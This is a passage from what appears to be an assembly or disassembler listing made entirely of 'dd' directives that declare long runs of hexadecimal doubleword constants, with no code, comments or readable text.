99AC6807h dd 3E6777C1h, 199D6AD0h, 0FEE600CAh, 49344F35h, 2A1FDD65h dd 8F1E6DD2h, 5C54B0C0h, 0D6C941h, 731145A3h, 0CFF0DD0Ah dd 870B1000h, 2D21FF6Ch, 7D4148C7h, 0FEE1FA79h, 8EF493h dd 0CD4B5294h, 0FAAF454Fh, 0A51F3F78h, 0C14FEE28h, 0DE3CA04Ch dd 1D6A4767h, 40276023h, 3FA6205Fh, 0FB00B9D2h, 577B9D92h dd 17F80CDBh, 0FEC7F7h, 0B36ACE85h, 0F400296Dh, 0D3B2A976h dd 9037716Fh, 0F23C0045h, 0ED94B5B1h, 0F3014592h, 0DE1C5D85h dd 14606817h, 0B5FE3D79h, 0DB2ED03h, 6EF81481h, 0C800D408h dd 83E63B2Ch, 956944h, 41783635h, 2009A222h, 0D124FA00h dd 0A39C0A7Ah, 564A0753h, 50368960h, 5D62F0F7h, 52C0E100h dd 1702E676h, 0A91D002Bh, 6761644Fh, 0A700C440h, 0BC244A4Ch dd 16373Ch, 0FCCFAEE3h, 32330793h, 0F610CA01h, 492D1CD8h dd 2EE78060h, 0D7ECFFh, 0A72F6D8Dh, 40425DCh, 6C352768h dd 51932280h, 5210033h, 0BAFFFCC3h, 0F9006047h, 425DA617h dd 7CEAD5Fh, 0B309B13Ch, 391CE044h, 0D17928E3h, 36005978h dd 0C0261757h, 624EF2h, 95C2BDB8h, 2B785FC6h, 8E79A200h dd 0E8FE07AFh, 929D0016h, 3A433652h, 4700665Ah, 4F5EED8Ch dd 11E982Ah, 0A9A0E4C9h, 7D2F1F2Dh, 8CA40028h, 8DEB9870h dd 0BA710382h, 0CCED5608h, 0FDD234D0h, 17134D00h, 211A7EFFh dd 879318D6h, 548051E5h, 0F0062F71h, 0C2926045h, 775E0026h dd 0F5979A81h, 9C00E91Ch, 1442B1E0h, 3445815h, 0BAC38887h dd 0DAB1CFABh, 23F8EF83h, 6100F8C6h, 0AEF41AD6h, 3AC1971h dd 0FAE6F505h, 80E77CE3h, 0ABE7CAADh, 2072DA30h, 0C713D5h dd 556B652Ch, 66F1E83Bh, 0E569F300h, 0A14F9FCDh, 0CE0B008Ah dd 47230127h, 6C00D2FCh, 0FFE2DA31h, 18D9C014h, 1094EC8Ah dd 1500C383h, 931C6386h, 0FAA8548Dh, 0E1080087h, 0F27DEF0Ch dd 0EC021684h, 0A666D73h, 6A8CA081h, 1C029CEh dd 2FC707CFh, 0F0168695h, 0E900F727h, 0C59605C6h, 3BB76402h dd 0A580BA5Bh, 0CA18A32Bh, 0C3005C9Bh, 0C5966D0h, 74521Fh dd 0D4444AB9h, 0FF168E92h, 80D32B39h, 0DDA3A4C5h, 0EF0B448h dd 0ACD37F7h, 39B6FDA0h, 0B700C157h, 94BE08Dh, 6ED47Bh dd 0CEC43776h, 0A710A987h, 88E2A8FCh, 0C7067800h, 5DD91E68h dd 0B25E0311h, 4ADA18Eh, 0C5C41480h, 0BC36E400h, 9830F4C3h dd 8074014Eh, 9A46E9DEh, 0F13AD8A5h, 0F95FF600h, 0D06CAE05h dd 0B76900E6h, 0F47B9026h, 0D33F3EE8h, 3ABD009Bh, 56605472h dd 3FF675C8h, 0EA805DB6h, 12B071C0h, 7B002F0Ch, 5AAD8C1Dh dd 36A738h, 0C0342C4Ch, 0BFD5DB25h, 3200D6F8h, 4DA512CCh dd 5EF8BFDh, 6DC5E9FFh, 3EA0C03Dh, 301C7869h, 0BD8EC78Ch dd 4D430013h, 3111BBCh, 5FCF059Dh, 3103ED5Eh, 3B4B76C6h dd 608998C2h, 2BE80082h, 0EF0132BFh, 3D00F0E1h, 4CA62350h dd 7FA8DFh, 94D56E81h, 1DF875F7h, 83991300h, 61FF2AF4h dd 1EDA00C0h, 8062BFA0h, 20764C1h, 0C79B2D14h, 32356BB0h dd 0C5D1000Eh, 7571FAC8h, 0FF3BF33Fh, 44280E54h, 3BA0A0C9h dd 0ED7992h, 90983D40h, 0C74D84D4h, 0D89F4926h, 0F7830800h dd 0E96553h, 903178FBh, 6952B7D7h, 93E00B00h, 0C31D9D22h dd 7BD7981h, 0F2766F14h, 1AAB03Dh, 123AA503h, 604E0151h dd 58C015EAh, 4F86D029h, 848066B5h, 8807BB0Dh, 2239BDA4h dd 0DA7C4010h, 555B0034h, 97D30EABh, 0AE3ED286h, 7A8C00FBh dd 0F423E032h, 7E450091h, 0BF2EA7D6h, 0D5169BE4h, 14808AC6h dd 1436021h, 663E5FF5h, 407D01FDh, 0E263E6A4h, 4EE39700h dd 0DBA25630h, 819000CCh, 0D7BF3988h, 0B3001FB9h, 0D1E284BCh dd 1771BDDCh, 8EF02Dh, 0D0A3178Fh, 0FEF2A4EEh, 0CC079200h dd 70462835h, 90F400AAh, 0B12BD8A2h, 1E3F052Ah, 6567079Eh dd 3F406A56h, 0B3A326h, 645052E2h, 0A5BF2058h, 845CDF00h dd 1F5641BCh, 0DC311C33h, 8260012h, 4C78B16h, 0C006D71Ch dd 0AF5D0CC0h, 67070Bh, 7D26DA32h, 0E64F79EBh, 0AEF9AD00h dd 0D23E1373h, 0BDF100FEh, 3B4A4301h, 370062EEh, 0D1EBC4D0h dd 19B4CA9h, 0BFE1046Ch, 0ECC021F3h, 5E00E00Fh, 0A1A6902Bh dd 15C284h, 89A23BFEh, 0A6BDEC6h, 70D749h, 0BE2F0FB9h dd 0F1FD61h, 0A2F70925h, 0D8FFC170h, 9EEED407h, 4560E1C5h dd 1093E91h, 0F8A3C62Ch, 0CD046E7Bh, 0CE02CDCh, 79DFFCAFh dd 0C6C90098h, 184493D2h, 0B890BF49h, 0CA6C5303h, 0D0ABB3F9h dd 1516BD9h, 0D33D2843h, 0D0181BD2h, 7C484FCFh, 850079AAh dd 6B4B73Fh, 0E15967h, 0F2C87899h, 0ACBD7FEAh, 5C690A0Ch dd 1EFBC83Ch, 8E33C482h, 523DAAFFh, 1D544035h, 0C56A8C64h dd 0F3C6A000h, 0C017B610h, 83BA0F7Bh, 8020C448h, 4DE3B2E5h dd 0B843Bh, 91469DF1h, 18FB18BAh, 1209C141h, 5A03503Ch dd 2D8E0B19h, 5C6BEA01h, 177741D0h, 0CE20FCFDh, 0BC0AA000h dd 0DDBEB642h, 0DB68078Ch, 106EC61Ch, 0CB2D24B1h, 7E7AE106h dd 28B852h, 0C75525CDh, 0C2037629h, 0F5210F03h, 3CA7AE68h dd 0A001CE4h, 0A0EEE6ABh, 757F9C81h, 0F300ECEEh, 46C13150h dd 720960h, 973D94FCh, 95FB79DAh, 0AA149A00h, 0D680F5ECh dd 0A8D3005Bh, 68962085h, 1A057B74h, 0E67D511Fh, 67812180h dd 0D2690004h, 2BABFB73h, 5925D521h, 0F89C68EBh, 2495B065h dd 0E8528h, 64E46A2Ch, 0B800A2DEh, 0D25CA9FAh, 8726A3h dd 0BF2FCE98h, 8536CCB5h, 0E943B600h, 0B49235B8h, 58A7F242h dd 2008E5Ch, 0D43D36BFh, 26008274h, 0AFFFDFA2h, 1F01DCB2h dd 40373406h, 0FAC1B451h, 0D90033C5h, 7B696C8h, 3FFF1F2h dd 0AD2FB057h, 2CD802A9h, 3A4CDD19h, 372600E0h, 0E05E12EAh dd 0EB8700A4h, 547C8069h, 0CC3E7082h, 37D10378h, 984BEFDEh dd 2A7A30h, 630A80A7h, 827287F3h, 2DB80300h, 24525A8Eh dd 1A7971h, 8B059B76h, 0A9A1577Eh, 2CEFA000h, 0A645F37Dh dd 0B65E00D5h, 0C2CEB8F9h, 0E8000F33h, 7F28C49Eh, 36BE11h dd 0D38AB9C6h, 825765C8h, 5551400h, 0F95C0B10h, 0B5B8000Dh dd 1FD299F8h, 8F00CB41h, 0C647EF29h, 0EDC1DCh, 0CA340B13h dd 917BF7E6h, 57A31B00h, 16D2D47Ch, 0F82000FCh, 9F8A85E1h dd 0C27CDC61h, 0C1AD1A01h, 0D3A0B79h, 388CCE60h, 1500D9FFh dd 9B714B03h, 0B8046345h, 3C703BDAh, 113651C0h, 0DBD83884h dd 0C05C0980h, 56BF781Ch, 3A93AE00h, 0BAC2425Dh, 0CD7C0036h dd 8D63E59Ah, 62007E2Dh, 1F78A46Bh, 5FB26E6Fh, 0F02EB0DDh dd 4BF21E67h, 70FB361h, 2F910E8h, 0EF12754Fh, 0C3E01CB5h dd 8F1FAD01h, 0CE808B65h, 8ED3516Ah, 0F1EE1F11h, 13A480C8h dd 0E7A189FFh, 0BBA37300h, 0E4B14070h, 67790034h, 315A9661h dd 450003B0h, 0B4BA49C8h, 0E13440Ch, 0BC52A980h, 6A701040h dd 0E01849Bh, 0A5CDE9BEh, 96DCC17Bh, 0D5AE00D0h, 0EF64EA8Ch dd 0B600FC6Fh, 44ED8E4Dh, 3AD7FA9h, 0D9834E81h, 9AB85C75h dd 0C50058C1h, 0FC462C5Eh, 0B2022D8h, 98C6B988h, 0A607C400h dd 4F6D0E4h, 3BAA9A00h, 40892805h, 127C00E0h, 4BACD4C1h dd 0FCF995F5h, 3A0E34CDh, 4BA770F7h, 71E5E86h, 0F04F127Dh dd 0C74799F2h, 8B9FC500h, 739153CDh, 0BE6600ADh, 0C477C658h dd 49000FF3h, 7648BF04h, 0E72EB6h, 0E0708C4Ch, 0ED82D302h dd 423CCB00h, 64391FB8h, 0DD5E009Eh, 0EB0B2387h, 0D801AF7Fh dd 0B8CAB16Ah, 8D43F4Ah, 0A110073h, 0BF541C37h, 5A07170Eh dd 681A4BFDh, 947E8A20h, 3F09005Dh, 7C830759h, 0C406C670h dd 468CF079h, 0AD8516B2h, 66A30229h, 2E05A82h, 780ED03Fh dd 20B0739Eh, 6E79C025h, 0AC9900BBh, 0F3502FF4h, 31609CF6h dd 67D2E780h, 8F5C0030h, 0C3794578h, 9800D60Bh, 0EDF57E8Eh dd 641682Ah, 1F0C3A64h, 2B003996h, 24794671h, 73C755Bh dd 9E435B7h, 0DD6B41E9h, 23A0EF74h, 6101E2D5h, 91F1B783h dd 0C06A2FC7h, 375367Ch, 3A636B00h, 0FC058111h, 508B0002h dd 0B0D5F9EBh, 0E8747F33h, 5F143700h, 95928CB8h, 7696051Eh dd 442A129Dh, 80BD2920h, 0BA855E32h, 19B5E730h, 65A57h dd 79620A18h, 7A999D68h, 0C2979B00h, 0A0B36598h, 30798Eh dd 8662F9C3h, 96665931h, 0F4731E00h, 0E4A45554h, 9ECC0005h dd 2063CD83h, 99009FC0h, 2DCB3B2Fh, 0C92625h, 1E7E6FAAh dd 5D2E4470h, 5DA5802h, 0E0608A3Fh, 2A4061h, 817D9901h dd 68DB6BB4h, 36CAD900h, 3A45ED8Ah, 306203FFh, 0EF101FD1h dd 0F57BDD98h, 0C8D6D200h, 35A9D793h, 0CFF71DB6h, 0EDD1804Bh dd 0B8846DC9h, 0C5019677h, 6809AB67h, 74C1E52Ah, 0CE608047h dd 3E5F1CB0h, 56056488h, 40E61765h, 974A11E8h, 141F3FC0h dd 0D2C04E69h, 0E81E375h, 0F8F8A062h, 0BA680071h, 0D9F2CFD8h dd 7900253Fh, 0E2DBD2B7h, 1FB87B39h, 0CF7EBDEAh, 7540A361h dd 673A256Eh, 18803403h, 0C0B2736Bh, 0A317EABDh, 40A7F0C4h dd 0E5BE184Eh, 0B7711009h, 7EC3FC01h, 0AF667E4h, 60EAC1C8h dd 6C8321F2h, 0E9725C22h, 72F7A303h, 8CE7E464h, 80F0C20Ah dd 7E39023Ah, 2E00E685h, 95A90E0Dh, 5C934Ah, 921F5190h dd 7BD77EECh, 0ABC34C00h, 8975A17Fh, 0DBA03D4Bh, 9856B781h dd 0F0E3F9A3h, 0BF00C773h, 0B77395Eh, 0EE763168h, 0B47400F1h dd 0B90D292Ah, 0BE0044C7h, 0E412425h, 361175h, 3133534Eh dd 1CC27DF3h, 0E20C1E00h dd 5B0BB709h, 0AFE6005Ah, 0ECEA3BE7h, 620026FBh, 0DDAA4AA8h dd 1CFDB2Ch, 0C23D5069h, 0E010321Fh, 0F0EBECFEh, 4700A3BAh dd 55357868h, 6E7BCA63h, 0BC402C29h, 468460F1h, 87F90E03h dd 0F0A5C765h, 0C05663B2h, 69BB7024h, 0CE7FEFC2h, 0B41F9C1Ah dd 42DD8018h, 6A36F0h, 0FA28262Bh, 601A9CDAh, 0A8B8F70Ch dd 0A75294Dh, 0EF2A1843h, 0F91E01B9h, 0DC711778h, 0CFE8F08Fh dd 98D12F00h, 0DB82317Dh, 3E24Eh, 0B751085Fh, 5209DC2Eh dd 0BD45A812h, 56D15B00h, 0E21B69Ch, 161EC59h, 0C0338BE4h dd 42133C04h, 1E255500h, 0F9FE3EE1h, 5FD100DEh, 0AF09851h dd 0A44CF7E3h, 0EF2C00C1h, 0E8115B86h, 2F1E0017h, 0DE74C5D6h dd 56F44BDAh, 55B838C0h, 0B71CB2h, 0C5129B25h, 0B59679EFh dd 4A21FD1Eh, 6A0501FCh, 876B89E9h, 0FE0E4F0h, 7E3CA934h dd 1892FF20h, 0DF78C0C3h, 0A4492D0Fh, 0BB3E09h, 0F7E1A78Fh dd 547BF0h, 5A6330ABh, 0DFBA90F6h, 2400A578h, 0A717B278h dd 0BB2916h, 7A14113h, 40ABBE8Dh, 80F0A23Bh, 0BCE397E1h dd 3A0AF27h, 9CB9F53Eh, 0B3886FC8h, 7E0064A8h, 3A0C57F9h dd 0FAB609FAh, 397D0026h, 27FFB732h, 0D8002F6Dh, 14998AD3h dd 8BD94Eh, 24DEBD70h, 4B91DB90h, 0FA568200h, 530BC8F7h dd 0C176ABh, 0C3611E81h, 3070577Dh, 800083B8h, 1AB66507h dd 76B910Bh, 0B1D2DEE0h, 4F11B7DCh, 8ACA3220h, 3C1F7AE5h dd 12006C17h, 0C1332A41h, 0F9B800D6h, 0E53F821Fh, 3100E173h dd 4C441B9Dh, 0D31266h, 0A4846169h, 0C3B999BFh, 53439E06h dd 206D5Eh, 0F3449D3Bh, 1C4DF5EEh, 619A40Fh, 0F2D6A014h dd 0C0177747h, 0B8354128h, 6E1C9713h, 0D640ABD7h, 0C119087Fh dd 319800EFh, 0D5333BA3h, 6C014D1Bh, 69B74ED3h, 0D8E0DFC8h dd 2F6B83Ch, 224AA0A5h, 0A78096BAh, 1BC1B7E9h, 0DF997900h dd 40D97A56h, 0F06B3990h, 0E3288B8Ch, 380F016Ch, 806C3ABFh dd 3EB4584Bh, 0B0DDEAF4h, 0E4E20095h, 4D0D8679h, 2501BC54h dd 44982128h, 78E8D92Fh, 4C0603C9h, 0B2FB0E0Bh, 511F603Bh dd 7F5081B7h, 8F408E97h, 4BC1183h, 83D18D2Bh, 0A6C42056h dd 0BF172870h, 0AF008F96h, 0F21363D4h, 0A89230D2h, 444ED6B1h dd 0BE76C5FEh, 0BB941A00h, 5266DFA5h, 0D2A300B1h, 75993D64h dd 3500AAC1h, 694CC954h, 1E9CC095h, 0C04868ECh, 0AB9FBF5Eh dd 0F9033CEDh, 1E89A98Fh, 0A888D99Dh, 0A569D4h, 0F77BEF42h dd 0C153ABFDh, 23016D00h, 69830AA0h, 0DB3400F4h, 67DB6C4h dd 3C000B47h, 5F577A8Fh, 70876Ch, 0CC6B801Dh, 2183D9F5h dd 673B2D01h, 0A98E4689h, 0B9A1C8h, 0AE7A2647h, 4876AB98h dd 0DF53181Ch, 3FF04AC0h, 92B494h, 0A7FCADC2h, 0CC1A16C3h dd 0B060F790h, 0A4A0D618h, 0F9D30127h, 5F838CFAh, 6B81F08Bh dd 451F0D07h, 0A79E86F2h, 0BFC0956Ah, 3B212FACh, 1F74527Fh dd 80F5179Bh, 60AFEEDEh, 0B800D4B7h, 0C864B059h, 266DB322h dd 18B7C5CCh, 0D55B5843h, 0AD060718h, 25A680h, 0A2ACFD4Bh dd 104664B2h, 0FC1C3Ch, 73925B17h, 4C94CC9Bh, 80009F66h dd 0B68F5508h, 563A2150h, 17B580ABh, 0D513E81Ch, 0BEDF001Eh dd 0B99762BDh, 0E900EB6Bh, 70E335E7h, 0C01A1BF6h, 53514C20h dd 0F0090BBh, 259CF440h, 0F7B5A6h, 9A6EE026h, 7F1ED4F9h dd 8ED9E100h, 0CAAC02DEh, 6C380119h, 0A4862F6Bh, 9CE0EF94h dd 1C01470Ch, 0F8676DDFh, 0DD61347Fh, 0F4DD5080h, 0A126BED4h dd 10BB9130h, 60B9C46Bh, 0AB6205Eh, 821E039Ah, 73CFFF17h dd 0F6CBC0F7h, 9B772Dh, 0AFC96351h, 60D74DDDh, 0C8AB350Ch dd 43F2F0B4h, 53FC0110h, 0F79B69AAh, 0E40A40Ch, 53E23C7Eh dd 4E381700h, 46593F22h, 9D4C6D0Ch, 15F7A09h, 2023BC53h dd 831789F4h, 8C8D63D8h, 0E96EB8CFh, 4109006Ah, 0C24BB4BEh dd 321E9AA4h, 0E680A954h, 349E9DEAh, 33F607CCh, 9BA396DFh dd 0A529FE00h, 9C0042F8h, 0B7DA48D7h, 0F4715E9h, 0A3A071A9h dd 0C74F00DEh, 541EDCFEh, 0CC976C02h, 8A663799h, 3A58D8h dd 8350A6F7h, 7873AD1h, 54BA591Ah, 3158030Fh, 0E278D4B8h dd 0B2001FEAh, 0F43A3E2Ah, 2480F19Dh, 1F7D70F3h, 2FAE4F99h dd 0B699C00h, 0CE00645Dh, 0B91C9184h, 1969562h, 0D0F93A13h dd 0E1889E12h, 6174FCADh, 0E17D28C0h, 5662A6h, 9C0C4385h dd 22388E01h, 0F31AFF00h, 0DC90B8EFh, 471E1C78h, 8BD6A2h dd 0C73AFC6h, 12005EF7h, 4A34B4F8h, 498869h, 9899DA0Ah dd 0CBC8571Ah, 0D3CD7100h, 0F43CEB84h, 0D56701FAh, 4D991DAFh dd 0E1A9E4BEh, 5F646160h, 33C6EDFh, 0E945582Ch, 94A8FC08h dd 26006D7Bh, 0BE827CADh, 7A444Ah, 96FE6F8Dh, 63259D7Eh dd 32C9F100h, 0EF3B7BC5h, 0E1210C2Ch, 88DCD348h, 6E005CEEh dd 248F4C5Ah, 0E99351h, 6BC4765Fh, 0EDC2A9Ch, 3AD4A500h dd 483547D8h, 1DEA027Ah, 3494B924h, 0BB040AE0h, 571B8200h dd 55B14F78h, 769826A8h, 58D00ADh, 0D70EE6FCh, 0AC10BD00h dd 48F19C14h, 0A21303E7h, 1AF3C0B9h, 44AE9EA8h, 968C7600h dd 8DC735F7h, 0D2190006h, 0A9F3B463h, 0D53B37DBh, 2F5C80E8h dd 0D1C7648h, 541400B5h, 2DEF242Bh, 0F63AA9DFh, 0CB838004h dd 0DC688AA4h, 0C6FD03B8h, 12AE543Ch, 9579F7E0h, 0C3FBD400h dd 0F36C80E7h, 0C5E807A6h, 210FA4h, 0DB8B3BE9h, 48B805E6h dd 58C1B800h, 79D19B98h, 0A95600A7h, 0CC50B9DEh, 6B7D4643h dd 8690D012h, 4B03800h, 6DBF36h, 89F59C1h, 52C3745Dh, 1337E700h dd 0C9EA7DC2h, 801000D2h, 0D5E178B8h, 6300980Eh, 407524A9h dd 7D5129h, 5DAF5C49h, 0BB6B95D4h, 0B992E100h, 590CB3A7h dd 90CB860h, 67227B13h, 0DD54B580h, 3C00269Fh, 0A45EC570h dd 0E8F3F9ACh, 277003h, 16EE67D4h, 0D6CCDB13h, 802BCE3Bh dd 0E5F011B9h, 6ED3C8h, 373CDF96h, 3C4BEF9h, 0AC049702h dd 0E0CC2D90h, 78C87Fh, 11257013h, 0CB68F372h, 830312F6h dd 2F69BF44h, 656C827h, 0A5D400DEh, 0F081F168h, 8E00853Bh dd 16BDFC5Eh, 985A3Ah, 9A1913A8h, 0D9458C4Eh, 64888512h dd 416FB100h, 748362D1h, 0C57CA2h, 0CBE297F0h, 0A9090460h dd 47EBE800h, 0C544D686h, 0F493006Dh, 4DE3A466h, 7F009155h dd 0E7C0B19Bh, 5230A56h, 1C9218DBh, 6E8582F8h, 0D59E7C40h dd 0A9037C00h, 0A439EDC4h, 4A8D0132h, 0E9B8D86Fh, 237A601Bh dd 14E8F38h, 78A813FBh, 6BD44F66h, 93C7008Eh, 2F8159D9h dd 5600148Ah, 322874ECh, 76F92AC4h, 0A8CD00CFh, 0F55339F7h dd 0F2E0E97Ah, 9B00C3E0h, 1ADD9D23h, 3BF9EBAh, 0BCEAF11Bh dd 0A190097Ch, 9100CA54h, 20AF1A2Eh, 0D94669h, 0BA3599A5h dd 1F5925AAh, 674F8A00h, 0E2B0D509h, 0D9B40083h, 0C5A94DC6h dd 0B6015B4Ah, 43EB8D6Fh, 96C44CD3h, 5110258h, 7BFD324Eh dd 0DC553441h, 701C5FCh, 5DA290F1h, 642143E1h, 3004E0h dd 93D4B216h, 0BB3CEE87h, 5E0ADC00h, 0F27CE926h, 34CA046Fh dd 0C09DC03Bh, 5816D522h, 0BDC66600h, 0F3E7A852h, 64079D2h dd 22287136h, 0D500A609h, 83A27579h, 74E3554h, 32CF9A29h dd 8799E0FCh, 7800BF2Dh, 2009C8F2h, 3EF5FFh, 4A9E15ABh dd 7D0C68C6h, 8C72F77Fh, 0FC3D9073h, 362680DEh, 0F9DFF07Eh dd 88AA0071h, 53F28AE5h, 0E24A9313h, 5D0181FCh, 0D7828CA2h dd 0A498303Eh, 334CF300h, 8C992AAh, 0F9310069h, 3418A201h dd 3C00057Bh dd 9946DD19h, 14ACF07Ah, 0ECCA3B24h, 2BDD50h, 43ED8E73h dd 199A14E7h, 5AAEC00h, 258E587h, 63F9076Eh, 704528A7h dd 0E93CD4FDh, 0EA75AE00h, 27BEBC19h, 4E060005h, 0B58D6D12h dd 0B2006441h, 4DCD1A15h, 4AAD1Fh, 799EC20Ah, 6295A3C5h dd 0F79CDB01h, 27B08621h, 0ABF1C740h, 47F6000Ah, 0A3EB4F28h dd 1C0096B2h, 0BF7B6D76h, 0C3AC54h, 0D0DE9C9Ah, 0F30C3B44h dd 10B5700h, 7473FDCBh, 0FA5300CDh, 77313A08h, 9B7EF326h dd 48C67B00h, 0C92F54CAh, 0C0EBB07Fh, 61FBE682h, 1116BDE4h dd 6C008DFDh, 4380EF31h, 84671FBEh, 141DF823h, 5E704077h dd 6FE38692h, 47DBE600h, 4D7276D5h, 9760000Ch, 0E94B43ADh dd 1E3E1ABDh, 0BAEE0013h, 0D735DFB3h, 4C52004Fh, 618590C3h dd 5B00348Dh, 0F887EE4h, 7E804D4h, 0F4EB7C63h, 30B091C9h dd 41C070EFh, 0BB3EF812h, 1C00681Eh, 0D2AFF684h, 0D4A83DCBh dd 0ED554000h, 0D80BCE19h, 7B185000h, 0AB487E06h, 4F714D4h dd 2400EA5Eh, 0D9CCEFA4h, 4D4C2809h, 73F0027Eh, 40695BACh dd 989D4898h, 656C18A2h, 938570EDh, 8394D207h, 0E3809669h dd 32E4A8Ah, 0B30D6789h, 0D3D87902h, 0B0C19104h, 59517280h dd 0B85C9C0h, 2DBE03C2h, 5B68D600h, 920065E9h, 0D7D48136h dd 42BC6h, 0B4784ACEh, 0C1763115h, 0A900F27Dh, 1A23CD17h dd 6CA4C4h, 0CFD978Ah, 757D24FEh, 3CC74Ch, 8C652BA1h, 0E9FBE1h dd 0D354596Ch, 0B10E196Bh, 2031F700h, 0FEFC1DD1h, 652E00ACh dd 0AB7C146Ah, 0F407DC61h, 0EAE16468h, 35CAAA80h, 0D95200EBh dd 3CE72944h, 0D7006511h, 2A50F9F5h, 5C437DB2h, 6D0F34DDh dd 8500805Dh, 0C8FFA0B1h, 0E1520C00h, 0BAC51B81h, 75CF009Fh dd 34A3E917h, 8400C0BFh, 0B23BEB0Bh, 15B9B0Dh, 5D7A2A82h dd 0F0F3F7B4h, 0A007B5C4h, 0CECFDA27h, 7FFF0CB0h, 2B88006Bh dd 2DC22A1Ch, 0DD5CF672h, 69540F56h, 8C0C8017h, 0E1963ABh dd 0B7C233D6h, 0AD890180h, 0C60F436Ah, 7834CDBh, 0DC207D10h dd 3CD15A62h, 0C4F054BEh, 80BADA18h, 14BF4689h, 0C30D6100h dd 0BB6CA363h, 3C5B58A0h, 20AA1000h, 162D0C87h, 19696200h dd 0CD269B7Dh, 0D0290099h, 288BED6h, 0E00372Dh, 4330B521h dd 0BA05ABh, 0CC407850h, 8E4C8107h, 0B458A4E6h, 457A006Dh dd 0AA89CD2Ch, 8B7E00E0h, 902BE1B1h, 0C8003DB7h, 6A87C6E4h dd 795485h, 0FF0A63E9h, 82D3E8B9h, 0AF3F8400h, 0F767F22Bh dd 75343A7Ah, 0F3630E80h, 0D969C895h, 2F8B6800h, 837F4998h dd 34AA01D0h, 0F111FB35h, 2C4FC4A5h, 0E2287A00h, 43730A07h dd 0F8E0EEh, 42888EC7h, 362BE5E6h, 0DA41D00h, 0FD668310h dd 54C91E65h, 0CDDDC6E7h, 7D00486Bh, 6C44B080h, 4A9213h dd 99E225A1h, 855ACB61h, 7839D4E7h, 0E7A3AD0Ah, 200E400Bh dd 7F4A6386h, 37B4B894h, 5E72488Bh, 78ADDE00h, 0AC7536BAh dd 1C70D100h, 0C05E5366h, 68F507A7h, 0C020B9B8h, 0D7C7791h dd 0A4FFA500h, 0ABD93318h, 0E23D3BE4h, 21E5D580h, 0E055D326h dd 0FC6C100Bh, 0A3C50767h, 1EE3B701h, 1C11CF8h, 0AF7F514Eh dd 0E00424DBh, 0BB504916h, 0E507848Ch, 0BDAE8D23h, 0B9EA2E0h dd 3FB7FAC9h, 0FC807FD0h, 3968E59Ch, 513E6BD8h, 0C6AEE005h dd 0BA4A20h, 8E422844h, 0A3F3B6DEh, 179E0A0Bh, 80BC0FB2h dd 7C5ACD56h, 0A56A008Bh, 0C8D69A70h, 30080EAh, 0F6A05E37h dd 0E4FBBDh, 8BDA2D78h, 47986BB0h, 0D0074A00h, 0FE8A4086h dd 0B7CC002Eh, 5A6F7AB6h, 310042B3h, 0AB168227h, 0E640D6Ah dd 0F0E6DFF1h, 0F3EFF40h, 2007BB54h, 0DB2476D6h, 8C97B3A0h dd 81090317h, 25E829F6h, 18E6BFE0h, 0DA007577h, 0A82E243Ah dd 1EE4922Ah, 0C09A66D3h, 0B0947AC7h, 15001899h, 0C59F07ADh dd 52EF16h, 813B173Ch, 0F58CC3C1h, 20E8F007h, 56705751h dd 164F707h, 0EEEABC12h, 43DDAC55h, 0FA00F196h, 7759A89Fh dd 2A25ABh, 0EA6FE87Bh, 7AA40122h, 2C315E00h, 9ACB450Ah dd 284B00D0h, 0BBE18B17h, 1B003F67h, 0C9016171h, 0C7855EC7h dd 0A0C0CB84h, 0E7A4D456h, 0EE913300h, 872F7B9Bh, 238E3041h dd 632AA190h, 9AEC511Dh, 2039F5C7h, 0B5FF72A0h, 0B7C0F5Ch dd 0BBFA0EFh, 0D00E2C91h, 0B2507EABh, 4B08481Ch, 0E8D0958Ch dd 0FDB887h, 0B929854Eh, 0F0CBB2E1h, 6C05DA00h, 4D3B47E7h dd 907B6536h, 0C7848044h, 0E800C848h, 0CC04A1CEh, 5C865480h dd 900E5FEh, 0F44FC723h, 4100D9A7h, 0F5D5220h, 0B56A0Bh dd 0D1A97C80h, 0D8B674B9h, 0EA0013FAh, 0E12053CEh, 0B7F577h dd 7E3CC978h, 68F01BBh, 399ACF00h, 0CB99976Fh, 0F277F1Ch dd 3AA53D41h, 5FFAF661h, 9BC4D824h, 96395Ch, 1D1BE70Ah dd 0C7D14Dh, 0AA969D6Dh, 0C8CD6F22h, 3F578005h, 65C0A1A8h dd 0F41F55A9h, 0CC7A0124h, 56E44451h, 21B88048h, 0F95F33D8h dd 7EC000B0h, 80133FF7h, 4900B389h, 511A81ECh, 0A86FAh dd 4F42D015h, 1F7F5D26h, 53DE6A00h, 72B175E7h, 740E0A4h dd 0E202BD20h, 789CD03Eh, 0BB0133FDh, 98A8F719h, 94E82986h dd 89002h, 0DD911F3h, 8560A04Bh, 0B71B1600h, 2D454993h dd 0A772094Ah, 57005370h, 0AC3E25BDh, 0C1D1FD00h, 4D2EEA56h dd 4CFC1E7Ah, 9AC5407Fh, 34C9A0BEh, 22F50700h, 0ED5C80E9h dd 0FE920DABh, 604211CAh, 3C01A348h, 0CF8E459Fh, 0A4209BBEh dd 367A3066h, 1D43C18Ch, 9002175h, 0D1CFE091h, 0FA9BB1h dd 48DE858Dh, 0F260FBE8h, 0A09431Ch, 0CE102F00h, 1D50AF95h dd 0E874C5h, 0F48C064Ah, 400065A2h, 1F23DDB1h, 0ECFD13h dd 0B38EEA0Ah, 1DC5262Eh, 1E63F807h, 8C5AC99Eh, 0E6B9AB00h dd 1081676h, 0B3572250h, 40DDD088h, 51800D94h, 530E18E4h dd 84FFB9h, 7F140AE8h, 1A3B86Fh, 19330AEh, 0C0ED54F8h dd 19009E3Ch, 0E9904759h, 0A45E2Ah, 0FDA3E5F9h, 20217061h dd 726A5709h, 7710027h, 7B46279h, 0A9D0234Ch, 3D29500Ah dd 0AC0FA79Dh, 0A081E35Eh, 4515C52h, 414800F6h, 0D6437135h dd 0B75C1DAFh, 5A3900E5h, 0F87BFCCDh, 0F4336080h, 1D27FE37h dd 0F2FD0900h, 0B85543E3h, 0A9AB1C03h, 1E8680F9h, 5EFF2898h dd 0B1E60B07h, 0EF604C05h, 0F9DD01h, 0CA40082Eh, 92CECD57h dd 5A10F500h, 0EAEDA0A6h, 0A8A400A2h, 1C8D2E3Ch, 7400FCDBh dd 2B7D7386h, 0C960E6h, 396F0AEh, 0DC72FD65h, 0FF3D40F4h dd 9DEF8092h, 1DC45175h, 73FB001Bh, 584A30Fh, 46004A04h dd 0E9C09B2Dh, 0FF5F42CDh, 33416C21h, 6BC0EF67h, 0A9FF3C1Bh dd 0FCB7A79h, 0AF32B59Ah, 4D00760Fh, 0BA7D29E3h, 9DC99438h dd 8A80BBDBh, 91B322B1h, 312C096Ch, 7C80056Fh, 0FDF2187Eh dd 0A378D8E8h, 8CE4D100h, 